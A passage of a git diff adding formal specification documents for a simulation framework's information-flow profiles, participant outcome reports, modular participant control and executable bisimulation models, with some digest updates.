teaching revision-1 cases. `teaching-influence/rev1` has coached-hint/worked-example tokens and no confidentiality, integrity or release claim. A generic reference cannot add a domain. | +| Release contracts | Scoped contextual release validation and token replacement; no published generic owner-token grant carrier. A new owner claim needs explicit per-obligation authority correspondence. | +| Support composition | Current v1 rejects non-exact effective support. CA-04 and IFC-04 define semantic obligations for future adoption; this delivery does not make v1 accept bounded support. | +| Runtime/backend claims | Depend on the exact implemented profile and independently evidenced coverage. No new owner-aware realization, universal noninterference, covert-channel, opaque-internal or backend-equivalence claim is established here. | + +Thus the worked independent-owner cases require a new governed finite profile +and corresponding consumers for direct portable representation; they remain +unsupported by the current security vocabulary. A concrete contextual encoding +may be assessed under IFC-02, but none is certified by this delivery. Arbitrary +cross-profile comparison and automatic conversion remain unsupported. + +## IFC-07 — Migration and evidence + +The [migration contract](../../../docs/migration/ifc-profile-variability.md) +governs source/target pins, mappings, authority, loss, retained memory, pending +work and mixed-revision readers. Unknown old owners cannot be reconstructed +from coarse labels. New-cut evaluation never rewrites a historical release. + +[Worked cases and verification](../../../docs/research/ifc-profile-variability/cases.md) +separate a finite design projection, real incumbent parser/governance checks +and required future consumer evidence. No finite model or ACTIVE semantic +requirement status certifies an installed provider, end-to-end mediation, +durable recovery, adversarial robustness or general formal proof. diff --git a/specs/formal/participant-semantics/local-outcomes.md b/specs/formal/participant-semantics/local-outcomes.md new file mode 100644 index 000000000..4d38a4c52 --- /dev/null +++ b/specs/formal/participant-semantics/local-outcomes.md @@ -0,0 +1,134 @@ +# Participant-local outcomes (ACT-618) + +ACT-618 extends the SEM-215 interpretation owner. A participant outcome is a +local claim about declared criteria at an observation cut. Action completion, +local outcome, objective satisfaction, evaluation, reward and episode termination +remain distinct; none implicitly establishes a status at another layer. + +## Existing coverage and added behavior + +| Surface | Existing meaning | ACT-618 addition | +| --- | --- | --- | +| Action-result status | Status of one action attempt | No change; success alone supplies no attainment evidence | +| SEM-215 rule | Explicit relations between meaning layers | Versioned local definition with grounded criteria | +| Interpretation record | Provenance-bearing cross-layer interpretation | Legacy targets remain mandatory | +| API-411 report v1 | Sources and downstream relationships | Preserved reader and schema | +| API-411 report v2 | New local member of the same family | Category, attainment, knowledge, cut and revision | +| RUN-305/311 history | Observations and episode lifecycle | Reused evidence and episode owners | +| RuntimeSnapshot / ControlPlaneStore | Atomic revisioned runtime state | Append-only outcome reports and replay | + +## Definition and evidence + +A rule opts in with `semantic_version: 2.0.0` and `local_outcome` with +`model_version: 1.0.0`. Only these rules may have empty downstream targets. +The closed categories are `task_completion` (all declared criteria of a local +task) and `effect_realization` (a declared effect set without claiming completion +of the whole task). An offensive transfer, defensive containment and ordinary +service delivery use the same categories with their own criteria. Role and +backend do not affect category meaning. + +`criterion_basis` explains the selection and is inert text. Unique criteria name +a rule-local `source_id` and an `effect_id` declared by that action source. +Composition rewrites cross-section references and preserves rule-local IDs. +Compilation retains the exact definition. A source's declared `evidence_refs` +bound evidence admitted to its criteria. + +The producer resolves real behavior-history observations. Enclosing participant, +episode, action and contract coordinates must match the nested action result. +Observation identity comprises action-instance ID, observation point and +canonical content digest. A report records the exact history-prefix length and +digest, normalized through the incumbent contract so omitted defaults do not +change a cut during reload. + +An evidenced effect supplies a positive criterion observation; evidenced +`no_effect` supplies a negative. Missing effects, `unknown_effect` and missing +admitted evidence supply no decided observation. Action status never supplies +positive/negative criterion evidence. Withheld action observations retain +withholding rather than disclosing effect attainment. + +The fixed `retain_until_explicit_correction` policy aggregates all applicable +observations at the cut. Positive and negative evidence for one criterion is +conflicting regardless of arrival order. Both observation references and the +original history survive; no last-write-wins selection occurs. + +| Evidence | Attainment | Knowledge | +| --- | --- | --- | +| All criteria positive | `attained` | `supported` | +| Decided criteria include positives and negatives | `partial` | `supported` | +| Some positive criteria, others unobserved | `partial` | `unknown` | +| All criteria negative | `not_attained` | `supported` | +| No positive evidence and an undecided criterion | `undetermined` | `unknown` | +| Contradictory observations for a criterion | `undetermined` | `conflicting` | +| Applicable withholding without contradiction | `undetermined` | `withheld` | + +Partial attainment is distinct from incomplete knowledge. `absent` means no +report exists, not a recorded unknown observation. Under `exact_observation_cut`, +the projection is current only while its behavior-history cut matches. A later +event makes the projection stale; the old report stays valid at its recorded cut. + +## Identity and evolution + +Stable identity is `(run/snapshot scope, participant_address, episode_id, +outcome_id)`. `event_id` and positive `revision` identify an update, distinct from +the outcome and action attempts. Multiple outcomes per participant are supported. +Revision 1 has no predecessor. Later revisions name the exact preceding report +and increment by one. Rule reference and canonical rule digest are immutable for +that identity; a changed definition needs a new outcome identity. Every report +retains the complete rule specification, so replay never substitutes today's rule. + +Any attainment state can change when evidence warrants it. Corrections name +excluded observation points plus a provenance-bearing `correction_basis`. +Exclusions must resolve at the cut and cannot silently disappear in later +revisions. Corrections append reports; they never edit old reports or evidence. + +Updates require the exact running episode. `reset_without_transfer` preserves +history but selects no old head for the new episode. Reset/restart cannot carry +attainment forward; termination, timeout and interruption do not imply local +success/failure. Late updates to closed episodes are rejected. Holdings lifecycle +remains with ACT-616/#217; this contract adds no holdings owner. + +## Production and authority + +`RuntimeControlPlane.record_participant_outcome` uses the embedder-admitted +compiled model. Participant and rule must exist. A compiled behavior specification +must declare the rule and select the participant explicitly or by its entity role; +rule action sources must also be among the participant's declared actions. Callers supply references, never a +replacement rule or claimed attainment. An authenticated operator requires the +existing target and participant subject binding. + +Existing mutation ownership, locking, operation admission, audit, history-head +checks and snapshot-revision CAS govern publication. Requests carry expected +outcome and snapshot revisions. Exact retry returns the existing receipt; +changed event-identity reuse fails. Report, terminal operation and audit commit +atomically, with existing durable cache reconciliation on failure. + +The history is runtime-owned. Backend/native result admission rejects replacement; +transition validation rejects truncation/rewriting. Snapshot construction and +wire validation replay reports against actual observation prefixes. No second +database, event bus or mutable outcome cache is introduced. + +Participant-local does not imply participant-visible. The embedded operator +operation adds no HTTP endpoint or participant retrieval projection. Existing +audience, visibility and redaction owners still govern participant views. +The generic HTTP snapshot response omits private outcome history as well. +Outcome criteria, knowledge and references are not inserted into those views; +references grant no evidence access. Errors expose bounded validation facts, +never raw evidence or caller payloads. + +## Historical compatibility + +`participant-outcome-report-v1` remains unchanged. The explicit +`decode_participant_outcome_report` reader dispatches `1.0.0` and `2.0.0`, rejecting +unsupported versions. V1 lacks the local definition, cut and revision chain, so +there is no lossless automatic upgrade. No category, attainment or unknown +observation is synthesized from historical status or absent fields. + +Adoption retains the v1 artifact and produces a new v2 report under a declared +rule from grounded observations. A snapshot missing the additive +`participant_outcome_history` field reads as empty history without inventing +reports. New writers publish the field; old closed-schema readers need the +updated draft runtime-snapshot contract to consume it. + +ACT-618 traceability and `test_act_618_outcome_*` supply finite executable +definition, runtime, rejection, persistence and compatibility evidence. This is +not a universal proof about arbitrary backends or the truth of supplied evidence. diff --git a/specs/formal/participant-semantics/modular-participant-control.md b/specs/formal/participant-semantics/modular-participant-control.md new file mode 100644 index 000000000..94cef4036 --- /dev/null +++ b/specs/formal/participant-semantics/modular-participant-control.md @@ -0,0 +1,368 @@ +# Modular Participant Control and Extensible Dynamic IFC + +Issue #1354 and ADR-114 publish [IFC profile variability and publication](ifc-profile-variability.md). +The amendment separates authored requirements, exact profile expressibility +and evidenced realization, preserving this document's original revision and +implementation boundary. It adds no registered owner-aware profile or runtime +support; its migration contract governs future adoption. + +Authority revision: `sem-235/rev1`. Publication owner: SEM-235, issue #1070. +Incumbent authorities: SEM-230 and SEM-233. Classification: FM3. + +This is the formal semantic publication of +[ADR-108](../../../docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md) +and `participant-control-composition/rev1`, accepted by #1068 at +[`ebb70a34b8e7d1cc8964c443841ae57e12ed1014`](https://github.com/OpenRAE/rae/commit/ebb70a34b8e7d1cc8964c443841ae57e12ed1014). +The [PC-01–PC-15 architectural clauses at that revision](https://github.com/OpenRAE/rae/blob/ebb70a34b8e7d1cc8964c443841ae57e12ed1014/docs/research/modular-participant-control/composition.md) +are incorporated as requirements. MPC-01–MPC-15 below give their formal +publication correspondence in the same order. Profile revision, semantic +publication, wire-contract version and implementation support are independent. +Terms here do not introduce wire fields or a callable provider protocol. + +Issue #1352 publishes the separately identified +[applicability and evaluation amendment](control-applicability-and-evaluation.md), +clarifying MPC-01–03 and MPC-05–11. Use its CA-01–CA-09 relations for the revised +interpretation. The clauses below retain the original `sem-235/rev1` publication +and evidence scope; historical evaluations are not reinterpreted by this link. + +## MPC-01 — Selection and identity + +An admitted composition B is a finite set of profile-instance bindings and a +finite set S of typed result slots. A binding pins profile id, revision and +content digest; mechanism instance and revision; protocol revision; installed +implementation artifact/version/digest; configuration digest; authority; +applicability; state/memory scope; limitations; evidence; and finite bounds. +A profile selects mechanisms; a mechanism resolves results; an IFC domain +defines labels; a policy relates results to a sink. These identities MUST NOT +substitute for one another. + +Applicability is a closed relation over admitted participant, episode, +direction, crossing/subject kind, sink and phase references. Unresolved +applicability prevents admission; it is not false applicability. Overlapping +applicable profiles conjoin. Exact complete binding, state scope and inputs +are necessary for shared-instance deduplication; retain every selecting +profile. Empty optional selection leaves all incumbent gates intact. A required +selection absent from B prevents apparatus admission. + +Changing any pinned coordinate requires a recorded new admitted binding at a +new cut. A pre-admitted alternative still requires an explicit selection +transition, effective-support validation and disclosed weakening. No transition +edits historical bindings, removes another profile's mandatory obligation by +implication, or upgrades earlier evidence. + +## MPC-02 — Resolution boundary + +Resolution is a relation from an immutable admitted context and pinned inputs +to typed results and, where needed, a proposed next provider-state reference. +It has no participant/world effect. Proposed state is speculative until the +decision's atomic commit; conflict discards it. Independent providers cannot +mutate each other's inputs. A monitor's external computation is itself an +admitted apparatus operation with disclosure and resource controls. + +Backend/operator construction binds installed providers. Scenario or +participant content cannot name imports, paths, URLs, commands or configuration +expressions that install or execute code. A digest establishes identity, not +trust. Coverage of explicit, implicit/control, native and external flows is +declared and evidenced independently of interface presence. + +## MPC-03 — Exact context and typed satisfaction + +Let K contain run, apparatus binding, participant, episode, subject, crossing, +direction, sink/audience/destination, controller, authority, policy revisions, +state cut, expected history heads, provider-state references, trigger root, +predecessor references, memory scope and governed time/order point. +Equality of K means equality of every applicable coordinate, including pinned +revisions and digests; a timestamp or participant id alone is insufficient. + +Each slot s has an instance, kind, mandatory/advisory role and typed dependency +references. Kinds are IFC fact, deterministic decision, advisory assessment +and typed effect request. Resolution status is independently one of resolved, +missing, unknown, unsupported, stale, failed or weakened. A resolved decision +is permit, deny, withhold or abstain. Invalid bindings are rejected, never +coerced to resolved. Conflict belongs to composition/commit; applied belongs +to realization. Neither is a label or provider permission. + +Define valid(s,r,K) iff r names s's exact instance/profile/input bindings, +kind and K, has resolved status, carries the required safe provenance/evidence, +and satisfies its owning payload relation. Fact validity is not permission. +Decision satisfaction additionally requires permit. Request validity does not +mean that its operation has been authorized or applied. + +## MPC-04 — Dynamic IFC and the first non-security domain + +A domain D publishes a closed carrier L, canonical encoding, partial order +≤, total conservative join ⊔, source/default relation, propagation relation, +sink policy, memory/reset scope, permitted release relations and limitations. +For a,b,c in L, ⊔ is closed, associative, commutative, idempotent and monotone, +and a ≤ a⊔b and b ≤ a⊔b. The general contract requires an upper bound, not +an additional least-upper-bound theorem. A failure is outside L. An unknown +token or revision cannot extend L; comparison across domains/revisions is +unsupported without a published mapping carrying authority, provenance and loss. + +For every derived value v, let Inputs(v,K) contain every possible data, retained +memory, context, argument-selection and declared control dependency. Unless an +authorized published release/non-influence relation applies: + +```text +label(v,K) ≥ join { label(x,K) : x in Inputs(v,K) } +provenance(v) includes every input identity and derivation basis +identity(v) is fresh; historical input identities and labels are immutable +``` + +Missing input coverage is not an empty known set and cannot yield bottom. +Opaque computation carries all possible inputs. Parsing, editing, masking, +handoff, routing and episode reset do not establish non-influence. A reset may +change the governed memory scope only with its owning reset authority and +evidence that the retained dependencies are absent; prior delivery remains +historical knowledge under SEM-230's selected memory relation. + +### Published semantic profile: teaching-influence/rev1 + +Domain identity: `teaching-influence-domain/rev1`. It is a non-security IFC +domain, with the exact closed token universe T = {coached-hint, worked-example}. +L = P(T), order is subset, join is union, bottom is {}, top is T. Canonical +encoding orders these two semantic references lexically, without duplicates. +These are semantic encodings, not a newly published JSON contract. + +The admitted source relation assigns coached-hint to a governed hint source, +worked-example to a governed example source, and {} only to an explicitly +known uninfluenced source. Missing/unresolved source classification is unknown. +No source resolver may infer {} from absent data. Derivation unions all known +input, memory and control influence. Unknown input makes the result unknown. +The profile retains participant memory across episodes unless the above reset +relation establishes no retained influence. Revision 1 permits no influence +removal: its release relation is empty. New removal semantics require a new +governed revision; a trusted teacher or changed episode is insufficient. + +For a known label, the practice-action and teaching-observation sinks impose +no additional IFC refusal. Mandatory propagation remains required and ordinary +authority, projection, resource and action gates still apply. Other sinks +require their own admitted policy; unknown labels never satisfy propagation. +The admitted hint-followup/1 rule consumes the propagation fact and requests +a subsequent inject from a pinned reflection-prompt artifact when coached-hint +is present. The rule has teaching authority, explicit addressee/visibility, +one firing per root, two total effects, depth two, finite fan-out, finite +resolution/retry limits and a governed expiry. The inject retains source and +trigger-control influence. This profile makes no confidentiality, integrity, +learning-outcome or noninterference claim. + +### Incumbent security profile + +`sem-233/rev1` and `participant-boundary-flow-policy-v1@rev1` keep the exact +[published two-coordinate algebra](adversarial-flow-control.md#exact-revision-1-flow-algebra): +P(C) × P(I), independent obligation coordinates and componentwise union. +Their unresolved-state obligations, coordinate-specific declassification and +endorsement, immutable provenance, and final-sink predicates remain unchanged. +The reusable machinery is revision binding, conservative propagation, +typed resolution, exact-cut conjunction and independent effect admission. +Teaching tokens are not a third security coordinate or a relabeling of history. +Known attacker influence may satisfy an intentionally permissive observation +sink without endorsement. The same label can fail a later action sink. + +## MPC-05 — Dependency and conjunction relation + +The slot/rule dependency graph is finite and acyclic. Every edge names a +declared output kind and required input slot. Undeclared edges, type mismatch, +ambiguous bindings, cycles and later facts are inadmissible. Independent +results bind one K; deterministic rules consume pinned predecessor results. +Recorded stochastic assessments are inputs: composition determinism does not +imply repeatability of provider sampling. + +Let G(K) conjoin incumbent authentication, authorization, action admission, +capability, crossing, projection and final-sink predicates. Then: + +```text +eligible(K) = G(K) + and every applicable mandatory result slot is valid and satisfied at K + and every mandatory dependency is satisfied + and every required predecessor effect is realized and freshly revalidated + and the requested effect plan is supported and conflict-free +release(K) = eligible(K) and expected-head atomic commit succeeds +``` + +A mandatory fact slot requires a fact, not a permit; a mandatory decision slot +requires permit, not a fact. Mandatory abstain is unsatisfied. Every blocker +is retained in canonical instance/slot order. Sorting is serialization only. +Empty mandatory decision sets cannot overcome false G(K). + +## MPC-06 — Failure and advisory interpretation + +| State | Required consequence | +| --- | --- | +| Mandatory deny | Refuse the affected parent and retain safe denial evidence. | +| Mandatory withhold | No release now; retain pending subject and resumption/expiry condition. | +| Mandatory abstain, missing, unknown, unsupported or failed | No release; retain each unsatisfied slot and exact status. | +| Stale K/history or commit conflict | No dispatch; bounded resolution at a fresh K, never reuse the old permit. | +| Weakened mandatory support | No release under the requested binding; any admitted alternative has its own effective identity and claim limits. | +| Missing, failed or abstaining optional advice | Record lost advice; it grants no permission and discharges no mandatory slot. | +| Resolved advisory permit, deny or score | Evidence without direct grant or veto. Only an admitted rule can request an independently gated effect. | +| Malformed/mismatched optional result | Discard its contribution, record failure; dependent mandatory obligations remain unsatisfied. | + +A claimed guarantee that needs an assessment must make the needed input slot +mandatory, even if the assessment is heuristic. Marking it advisory cannot +hide that dependency. An admitted review rule specifies its threshold revision, +authority, visibility, missing-state behavior and expiry. + +## MPC-07 — Effect compatibility + +A request names one closed effect kind, subject/result type, target/sink, +rule revision, authority, phase (required predecessor or subsequent), causal +references and bounded parameters/artifact references. Complete equal +canonical content under one logical key deduplicates. Different content under +that key conflicts; different rule identities remain separate requests. + +All mandatory rules conjoin. Permit cannot override deny or withhold. +Different replacements of the same proposal, routes to different destinations, +handoffs to different controllers or incompatible lifecycle outcomes conflict. +A transform chain must declare finite dependency edges through fresh subjects; +ordering two incompatible replacements of the same original does not repair +the conflict. The replaced proposal is withheld and never also dispatched. + +Delay constraints in one admitted clock intersect: [a,b] ∩ [c,d] = +[max(a,c),min(b,d)], admissible only when the lower endpoint is no greater +than the upper. An unresolved cross-clock relation or empty intersection +conflicts. Authority/resource expiry still applies at the eventual release. +Effects sharing subject, authority, lifecycle, time, resource or sink state +require explicit compatible ordering and fresh validation. Disjoint effects +may be unordered only with declared and evidenced independence. Shutdown +cannot precede an operation requiring that target to remain live. No lexical, +specificity or provider-arrival winner is selected. + +## MPC-08 — Authority and participant visibility + +Effect authority is the intersection of current controller/principal authority, +admitted rule scope, target capability and ordinary operation/sink policy. +Authentication, authorization, admission, approval, declassification, +endorsement, transformation, handoff and execution remain distinct. No result +widens that intersection. A separately authorized audit/review may be requested +for a denied parent only when its admitted rule allows that disposition. + +Use SEM-230 participant/audience projection for sources, derived values, +decisions, reasons, control transitions, audit and receipts. Existence and timing +of an inject, withhold or review may disclose a condition. Supervisor visibility +does not imply subject visibility. Safe evidence consists of bounded, +digest-bound references and closed coarse reasons, never raw rejected values, +hidden objectives, prompts, credentials or backend-private state. Digesting +sensitive low-entropy content is not sufficient redaction. + +## MPC-09 — Typed effects and existing owners + +| Effect | Binding and semantic owner | +| --- | --- | +| permit / deny | API-423 exact crossing/action disposition; permit is not execution. | +| withhold | SEM-226/API-423 intentional non-release, pending subject and fresh later cut. | +| transform | API-423 derivation or API-409 trusted edit; fresh representation/proposal with lineage and re-entry. | +| mask | SEM-226/API-423 participant-relative derived projection; no implicit declassification. | +| inject | Fresh DSL-111 occurrence, DSL-142 addressee/delivery and API-423 disclosure; API-409 for directions/control changes. | +| delay | API-421/RUN-308 governed clock, bounded window/expiry and revalidation. | +| route | Existing target/crossing destination refs, fresh candidate and destination admission; SEM-234 for a mixed-backend edge. Not controller transfer. | +| audit | Existing bounded evidence/audit carrier, retention and audience policy. | +| handoff | ACT-617/API-409/RUN-310 ordered controller transition; labels survive. | +| request review | API-409 supervisory obligation, approval/denial references and expiry; approval does not execute the parent. | +| interrupt / shutdown | RUN-310/API-409 authorized lifecycle scope; distinguish participant, episode and run targets, pause, cancellation and termination. | + +API-424/#1072 owns closed trigger-to-incumbent contract bindings, including +review/expiry/lifecycle alternatives absent from incumbent DTOs. Publication of +this table does not advertise those contracts or installed effect support. +Unsupported effects stay unsupported; no callbacks or open effect maps fill gaps. + +## MPC-10 — Commit and final invocation + +The abstract progression is received → resolved → composed → admitted → +committed → dispatched → applied/failed/indeterminate. Refusal, unsupported +state, stale cut and conflict stop before dispatch. Decision, provider next-state, +effect claim, consumed budgets and authorized intent commit atomically against +expected operation/participant history heads using the ADR-104 store authority. +Failed commit produces no prohibited backend call or participant disclosure. + +Immediately before invocation, authority, capability, policy, target and history +still bind the current admitted K. A commit-bound generation fence or exclusive +dispatch lease covers final invocation; asynchronous delivery unable to retain +it re-enters final admission. Check-then-unfenced-call is not complete mediation. +Unsupported fencing cannot be claimed as implemented. Serialization, streams, +errors and evidence export are sinks. Commit, delivery and observation are +distinct; append-only realization evidence never rewrites a prior decision. + +## MPC-11 — Fresh identity, phases and recovery + +The logical effect key is (run, trigger root, rule id/revision, effect slot, +admitted firing epoch). A governed new trigger event establishes the epoch; +retry count, current K, transport identity, handoff and episode changes do not. +Allocate a fresh result/occurrence identity once per logical key and retain it +across replay. Attempts have fresh cut/evidence bindings, not fresh effect keys. +Complete changed canonical intent under a claimed key conflicts. + +Required predecessors cause a committed parent withhold and separately admitted +operations. Realization/approval satisfies only that obligation; the parent +reevaluates all gates at a fresh K. Subsequent operations have independent +admission and outcome; failure does not undo an applied parent. All-or-nothing +plans require exact backend transaction support or are unsupported. + +Applied replay returns its receipt. A committed, undispatched claim resumes +only with durable proof dispatch never started and current final admission. +Once dispatch may have begun, the result remains indeterminate until exact +backend idempotency/readback establishes absent or applied. Never blindly +repeat a non-idempotent external operation. A local commit is neither external +success nor distributed exactly-once delivery. In-memory evidence supports only +its process lifetime; restart claims require durable storage and backend proof. + +## MPC-12 — Finite causal closure + +Every admitted root has finite nonnegative depth, total-effect, per-rule firing, +resolution/retry and expiry bounds, plus finite fan-out. A new effect claim +atomically consumes root and per-rule budget even if realization later fails. +Duplicate keys consume no second unit. Every causal child increases depth and +inherits its root. Reset, restart, route, transform, retry and handoff cannot +reset it. Independent inputs obtain fresh roots only through ordinary input +admission and run resource limits. + +Exhaustion records a bounded reason. Required effects leave the parent +withheld/refused; optional subsequent effects remain unapplied. Expiry uses the +declared clock/order authority. Diagnostics cannot recursively trigger themselves. +These bounds establish finite admitted causal work, not fairness, progress or +unbounded liveness. + +## MPC-13 — Evidence and claim boundary + +Evidence pins requested/effective profiles, mechanism/protocol/implementation +revisions and digests, configuration, authority, domain/policy/rule revisions, +world coverage, memory, clock/order, backend artifact, support strength, loss, +provenance and limitations. Reuse existing apparatus, claim and evidence refs. +Private mechanism state is not portable evidence. + +Semantic publication, contract validity, runtime orchestration, installed +provider, backend declaration, observed realization, bounded conformance, +experimental evaluation and a separately justified theorem are different claims. +SEM-230's noninterference relations retain their exact observer, strategy, +memory, policy and quantifier scope. IFC labels, a successful inject, equal +outputs or a finite witness do not establish those relations. + +## MPC-14 — Declared world and backend independence + +A live source/sink belongs to the RAES world only through admitted identity, +authority, crossing, coverage and limitations. Intentional adversarial in-world +input is an experimental variable; retaining its influence can be correct +realization. Interference with an out-of-world provider, host, credential, +process, tenant or network invalidates/fails backend realization. Record that +in apparatus validity evidence rather than inventing an in-world attack. +Protection of that backend boundary remains the realization's responsibility. + +Backends may independently implement different declared subsets with different +engines. Shared terms prove neither parity nor equivalence. Cross-backend +claims require their exact SEM-234/ASR-537 relation and evidence. Coverage ends +at the last enforced and observed boundary, including disclosed live variability. + +## MPC-15 — Publication and bounded witnesses + +[Concept placement](../../concept-authority/participant-control.md) maps these +terms to incumbent owners without a new universal ontology. +[Semantic verification](../../../docs/research/modular-participant-control/semantic-verification.md) +maps MPC clauses to worked cases, counterexamples and finite tests. The accepted +[cases A–G](https://github.com/OpenRAE/rae/blob/ebb70a34b8e7d1cc8964c443841ae57e12ed1014/docs/research/modular-participant-control/cases.md) +remain the case lineage; the verification record supplies the publication cut. + +This publication supplies no production provider, backend instrumentation, +runtime orchestrator, plugin host, universal policy language, new wire schema, +external attack model, general safety/robustness result, backend equivalence, +universal noninterference, covert-channel protection or control of opaque +internals. API-424, RUN-320 and ASR-538 retain their separate delivery boundaries. diff --git a/specs/formal/participant-semantics/participant-crossing-bisimulation.md b/specs/formal/participant-semantics/participant-crossing-bisimulation.md index 69e09b2ef..7a80b9c8d 100644 --- a/specs/formal/participant-semantics/participant-crossing-bisimulation.md +++ b/specs/formal/participant-semantics/participant-crossing-bisimulation.md @@ -5,13 +5,19 @@ Requirement: SEM-232. Decision: [ADR-100](../../../docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md). -Profile: `participant-crossing-dpbb-finite-v1@rev1`. +Historical profile sketch: `participant-crossing-dpbb-finite-v1@rev1`. Relation catalog: `raes-behavioral-relations@rev8`, `divergence-preserving-branching-bisimulation`. -Status: normative design. No model, model-check, proof, runtime-realization, or -backend-conformance result is claimed by this specification. +Status: historical rev1 state/transition sketch. The relation clauses and +projection remain applicable. ADR-100's #971 amendment selects executable +profile/model rev2 as the downstream target. No equivalence, proof, +runtime-realization, or backend-conformance result is claimed here. + +The [executable rev2 refinement](participant-crossing-models.md) records #971's +approved single-operation interpretation and independently generated models. +The rev1 design below remains the historical theorem sketch. ## Theorem Target diff --git a/specs/formal/participant-semantics/participant-crossing-models.md b/specs/formal/participant-semantics/participant-crossing-models.md new file mode 100644 index 000000000..3ab8304ca --- /dev/null +++ b/specs/formal/participant-semantics/participant-crossing-models.md @@ -0,0 +1,132 @@ +# Executable Participant-Crossing Models + +Requirement: SEM-232. Construction package: #971. Classification: FM3. + +## Revision and scope + +`participant-crossing-dpbb-finite-v1@rev2` is the first executable refinement of +the [rev1 design](participant-crossing-bisimulation.md), selected by ADR-100’s +#971 amendment. Both model revisions +are `rev2`; projection `participant-crossing-projection@rev1` and taxonomy +`raes-behavioral-relations@rev8` retain their exact identities. Rev1 was design +authority, not a previously published executable profile. Its theorem sketch +is not an executed result and its candidate abstraction is not a generator. + +The user-approved scope is one fresh operation and its retries. Multiple fresh +operations are a separately revisioned scope in #1395. This authority introduces +no runtime changes, mandatory author annotations, or request-time proof work. + +## Complete environment + +The published profile declares every domain from the rev1 design, including +the singleton participant, audience, controller, episode and request identity; +cuts p0 and p1; all five input classes; all decision, replay and delivery +values; and history heads h0 through h3. A fresh request is admitted only while +no result has been recorded. It chooses one of the five input classes. The +original input is retained in the terminal state's intent. Identity recycling +and changed-input reuse are excluded environment actions, not unexamined input +samples. Every declared request/cut choice is explored to a reachable fixed +point. There is no depth or schedule bound. + +Policy advancement is enabled only at idle or terminal and changes p0 to p1 +once. At terminal the only request is a retry of the retained input. A retry +at the recorded cut repeats the outcome observations without another logical +commit. After policy advancement it emits request then replay rejection and +preserves the recorded result. These labels describe the formal outcome +protocol, not repeated backend execution. Mapping receipt replay and actual +delivery to that protocol requires #972 evidence. History advancement caused by +other operations is absent here and must not be equated with policy advancement. + +## Abstract rules + +State coordinates are phase, current cut, intent, decision, delivery, and last +result. Intent is absent or `(request-0, input-class, requested-cut, replay)`; +last is absent or `(request-0, recorded-cut, decision)`. Initial coordinates +are `(idle, p0, none, none, none, none)`. + +The independent abstract authority is `abstract.py`. Its total policy table +selects permit for plain, transform for transform, unsupported for unsupported, +deny for forbidden, and deny/declassify for declassify at p0/p1 respectively. + +1. A request enters offered, clears decision/delivery, and preserves last. +2. A stale retry emits `crossing.replay.reject` and returns to terminal, + restoring the recorded decision and its delivered/withheld outcome. +3. A fresh or same-cut offered request selects the policy or recorded result. + Deny/unsupported emit their decision label and enter terminal with delivery + withheld and last set. There is no extra silent completion transition. +4. Every deliverable result emits `crossing.decision.permit` and enters decided. + Plain permit sets delivery pending immediately. Transform/declassify first + set delivery none, then emit their corresponding change label and set it + pending. This prevents repeating a change. +5. Decided with delivery pending emits `crossing.delivery` to delivery-pending. + That phase emits `crossing.observation` to terminal, delivery delivered, + recording last if absent. The initial completion and all retries preserve + the original input for future retry selection. + +## Concrete rules + +The independent concrete authority is `concrete.py`, derived from API-423 +predecessor ordering and RUN-319 validation, policy/capability resolution, +deny-first gates, preparation and atomic commit. It imports no abstract +transition or policy function. State adds gate, capability and history head. +Initial gate/capability are unresolved and head is h0. + +1. Request stores intent, resets gate/capability/decision/delivery, and enters + validating. `internal.validate` enters resolving-cut. +2. A mismatched cut emits replay rejection and restores the recorded outcome. + Otherwise `internal.resolve-policy-cut` enters resolving-capability. +3. `internal.resolve-capability` sets unsupported only for the unsupported + input. Independently, forbidden and p0 declassification set gate deny; + the remaining cases set permit. This closed fixture assumes admitted + synthetic identity/authority coordinates, not live authentication. +4. Gating selects deny first, then unsupported capability, then the requested + change or plain permit. Its visible label matches that outcome class. + A replayed refusal completes immediately. Other results enter preparing-record. +5. Changes emit their visible label once using delivery none/pending. Then + `internal.prepare-record` enters committing without changing last or head. +6. A fresh result atomically sets last and changes h0 to h1 exactly once via + `internal.atomic-commit`. Refusals enter terminal; deliverable results remain + committing with last present. Same-cut retries already have last and skip + logical commit. Committing with last emits delivery, then observation from + delivery-pending completes the crossing. + +Head denotes one logical atomic result batch, not a count of API-423 records. +h2 and h3 remain in the declared domain but are unreachable: the environment +admits at most one fresh logical result. There is no head saturation or wrap. +The internal rank is validating=6, resolving-cut=5, resolving-capability=4, +gating=3, preparing-record=2, uncommitted committing=1, otherwise=0. Every hidden +edge strictly decreases it, including fresh refusal commits. Visible retry +cycles do not establish hidden divergence. + +## Observation and export + +The ten visible labels and five hidden classes are exactly those in the +published profile. Only the five named hidden classes become `internal`. +Native tau encodings and every undeclared label are rejected. Both exporters +retain semantic labels and ordinal-to-state maps in digest-bound sidecars. + +Terminal denotes completion of one crossing, not global LTS termination. +Success, refusal and stale retry have distinct visible completion sequences; +terminal still enables requests and possibly cut advance. No successful-stop +predicate is inferred from AUT or a sidecar. A missing outgoing edge is a +structural deadlock and is not treated as success. The baseline graphs have no +dead ends; faults introducing them remain observable in subsequent comparison. + +State numbers follow deterministic breadth-first discovery from ordinal zero; +successors sort by label and the synthetic dataclass state representation, +edges are unique and sorted by source, label, target. AUT is ASCII with LF and +a final newline. Counts describe exactly the emitted graph. JSON identity uses +the incumbent RFC 8785 canonicalizer; byte digests separately bind AUT and sources. + +## Assurance boundary + +Construction establishes no equivalence, runtime realization, backend +conformance, noninterference, opacity, timing, probability, concurrency, +controller-handoff, or multi-operation result. Resource exhaustion fails; +partial graphs are never published as complete. Live transformed-ingress +revalidation and every additional runtime gate remain explicit mapping +obligations, not silently projected internal transitions. + +Run export in a fresh interpreter from the source checkout. Copied inputs must +match the Python source identities captured from that executing checkout; +rebinding a profile to different source bytes cannot relabel the loaded code. diff --git a/specs/formal/participant-semantics/participant-opacity-proof-evidence.json b/specs/formal/participant-semantics/participant-opacity-proof-evidence.json index bf3cff19a..c45029c26 100644 --- a/specs/formal/participant-semantics/participant-opacity-proof-evidence.json +++ b/specs/formal/participant-semantics/participant-opacity-proof-evidence.json @@ -309,11 +309,11 @@ }, { "path": "tools/tooling_policy_gate.py", - "digest": "sha256:282a7056b6ba6810d00aba130d3aea2c37fbe6fe13a1e637d6b1be5a0e637b0b" + "digest": "sha256:2a83148d01ad827a2ccdfed8243d0c4abb2b944f57112df12be7b5720d3ec034" }, { "path": "tools/verified_tool_installation.py", - "digest": "sha256:523953430b5d1903d0f35707e28d4906fc260ef5cdafb9aab09e176dcb2c8c4a" + "digest": 